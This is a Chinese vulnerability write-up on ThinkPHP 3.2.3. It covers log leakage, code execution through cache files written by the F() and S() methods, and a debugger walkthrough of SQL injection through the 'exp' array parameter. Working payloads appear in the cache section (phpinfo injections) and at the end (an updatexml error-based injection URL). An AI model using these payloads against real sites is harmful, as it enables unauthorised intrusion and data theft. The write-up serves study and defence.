ThinkPHP 3.2.3漏洞分析与复现
PS;推荐开启调试追踪
在config.php加上
‘SHOW_PAGE_TRACE’=>true,
1、信息泄露
日志泄露
得在开启debug的情况下,才会生成日志
日志规律:应用(项目)名/Runtime/Logs/Home/19_01_01.log
tp3.1: Runtime/Logs/Home/19_01_01.log
日志文件命名规律:19_01_01.log

攻击者可以从日志中获取敏感信息
缓存信息泄露(危害可升级)
F方法(快速缓存)
阅读文档,我们可以得知,缓存的文件将会在/Runtime/Data/目录下
此时,我们把index控制器里的index方法改为
F('data','<? phpinfo(); ?>');
访问以下主页,即可发现/Runtime/Data/目录下生成了data.php
访问http://localhost/App/Runtime/Data/data.php,即可造成rce

S方法(数据缓存,更加安全)
为什么S方法更为安全呢?因为它的名字采用了md5的加密方式;此外,它还可以设置销毁时间,大大提高了安全性
接下来,我们同上,改一下主控制器里的方法
S('name','<? phpinfo(); ?>');
访问一下主页,发现Runtime的Temp文件夹下有php文件生成
我们把php文件名复制下来,放到cmd5中解密
发现php文件的命名规律是:md5(参数).php
PS:u1s1,这约等于没加密
但在访问http://localhost/App/Runtime/Temp/b068931cc450442b63f5b3d276ea4297.php,你会发现,上面的exp没有用
别急,看一下闭合情况,构造出新的exp
S('name','?><? phpinfo(); ?>');

指纹识别
对于这个,我真的没有更多话可以说
多找有特征的静态文件,形成独一无二的风格
2、SQL注入
这个东西真的算的上是老生长谈了
在分析tp3的sql漏洞前,我们先要来熟悉一下tp3数据库的内核操作,攻守有道
数据库内核操作

重点关注3个函数,M(),where(),find()
我们先如图下两个断点
然后回到浏览器,刷新一下页面,回来调试
(但本人的debug环境有些问题,用一会就会断开连接,截图很难,愿各位师傅见谅)
先来看看M()

先定义一个名为$_model的数组,再根据冒号分割。但我们传进来的参数值是user,所以进入else分支

往下给$guid赋值为$name_$class的形式,也就是user_Think\Model
再往下走,$_model[$guid]的值也变成了user_Think\Model

再来看where()

而我们得知,传入where的参数属性是array,均不符合前两个if,自动进入下面的if

仍然不符合is_string()的条件,再往下跳,跳到else分支,也就是1816行

此时,我们开启debug,看看返回值的内容
where的值仍保持不变,而返回值为Think\Model
最后再来看看find()
我们在find中传入的参数为空
通过debug得知,pk的属性为string,options的属性为array,不符合上述if条件,直接跳转到746行
此处给limit赋值为1,接下来,跟进_parseOptions()函数


这里用处不大,可以直接跳出
接下来单步步出,跳转到759行,最重要的语句来了

单步步入

接下来也全部单步步入
最重要的函数是buildSelectSql,步入

由于page为空,直接跳入parseSql函数内

继续单步步入,步入至parseWhere()函数时停下

到达parseWhere函数后,先步入parseKey()内,后步入parseWhereItem()内

对username做了一些过滤

由于$val值为admin,字符串类型,不符合,故直接跳转else分支

进入parseValue()函数
注意此处进入第一个if分支,同时经过escapeString函数过滤

addslashes()函数的作用是对单引号等敏感字符串进行转义
接下来一路F11,重新返回到select函数,可以观察到,sql语句已拼接完成,同时结果也成功返回

最后就是简单的流程处理,返回结果


最终

那如果我们加一个单引号呢?
过滤前
过滤后
最终拼接成的sql语句
返回结果也自然是null
从上文我们可以看到,我们传入的参数值为admin,类型为string。而过滤函数是以escapeString命名,同时,在parseWhereItem函数中可以看见,array和string的处理方式是两个分支。那如果传入的参数是array型,是不是就可以绕过访问,恶意拼接sql语句,造成注入了?
我们来试一试,先回到parseWhereItem函数,看一下它对array的处理方式

传入了数组,一路debug,最终跳转到了一处报错点

为了方便,我把整个源码函数贴出来
protected function parseWhereItem($key,$val) {$whereStr = '';if(is_array($val)) {if(is_string($val[0])) {$exp = strtolower($val[0]);if(preg_match('/^(eq|neq|gt|egt|lt|elt)$/',$exp)) { // 比较运算$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);}elseif(preg_match('/^(notlike|like)$/',$exp)){// 模糊查找if(is_array($val[1])) {$likeLogic = isset($val[2])?strtoupper($val[2]):'OR';if(in_array($likeLogic,array('AND','OR','XOR'))){$like = array();foreach ($val[1] as $item){$like[] = $key.' '.$this->exp[$exp].' '.$this->parseValue($item);}$whereStr .= '('.implode(' '.$likeLogic.' ',$like).')';}}else{$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($val[1]);}}elseif('bind' == $exp ){ // 使用表达式$whereStr .= $key.' = :'.$val[1];}elseif('exp' == $exp ){ // 使用表达式$whereStr .= $key.' '.$val[1];}elseif(preg_match('/^(notin|not in|in)$/',$exp)){ // IN 运算if(isset($val[2]) && 'exp'==$val[2]) {$whereStr .= $key.' '.$this->exp[$exp].' '.$val[1];}else{if(is_string($val[1])) {$val[1] = explode(',',$val[1]);}$zone = implode(',',$this->parseValue($val[1]));$whereStr .= $key.' '.$this->exp[$exp].' ('.$zone.')';}}elseif(preg_match('/^(notbetween|not between|between)$/',$exp)){ // BETWEEN运算$data = is_string($val[1])? explode(',',$val[1]):$val[1];$whereStr .= $key.' '.$this->exp[$exp].' '.$this->parseValue($data[0]).' AND '.$this->parseValue($data[1]);}else{E(L('_EXPRESS_ERROR_').':'.$val[0]);}}else {$count = count($val);$rule = isset($val[$count-1]) ? (is_array($val[$count-1]) ? strtoupper($val[$count-1][0]) : strtoupper($val[$count-1]) ) : '' ;if(in_array($rule,array('AND','OR','XOR'))) {$count = $count -1;}else{$rule = 'AND';}for($i=0;$i<$count;$i++) {$data = is_array($val[$i])?$val[$i][1]:$val[$i];if('exp'==strtolower($val[$i][0])) {$whereStr .= $key.' '.$data.' '.$rule.' ';}else{$whereStr .= $this->parseWhereItem($key,$val[$i]).' '.$rule.' ';}}$whereStr = '( '.substr($whereStr,0,-4).' )';}}else {//对字符串类型字段采用模糊匹配$likeFields = $this->config['db_like_fields'];if($likeFields && preg_match('/^('.$likeFields.')$/i',$key)) {$whereStr .= $key.' LIKE '.$this->parseValue('%'.$val.'%');}else {$whereStr .= $key.' = '.$this->parseValue($val);}}return $whereStr;}
我们发现,因为第一个数组的参数不符合规定,故跳转到报错位。这里,如果我们把username[0]赋值为exp(也就是用exp表达式),会直接拼接成$whereStr并返回,不用进入parseValue函数进行转义
所以,我们重新跟踪一遍
/?username[0]=exp&username[1]=admin

可以看到,最终sql语句变成了
SELECT * FROM `user` WHERE `username` admin LIMIT 1
很明显,因为直接拼接,这条语句不通,页面也就自然而然报错了

典型的报错注入,都到这里了,那就很简单了,构造相应的sql语句就可以了
exp:?username[0]=admin&username[1]==’admin’ and updatexml(1,concat(0x7e,(select user()) ,0x7e),1)#

持续更新中….
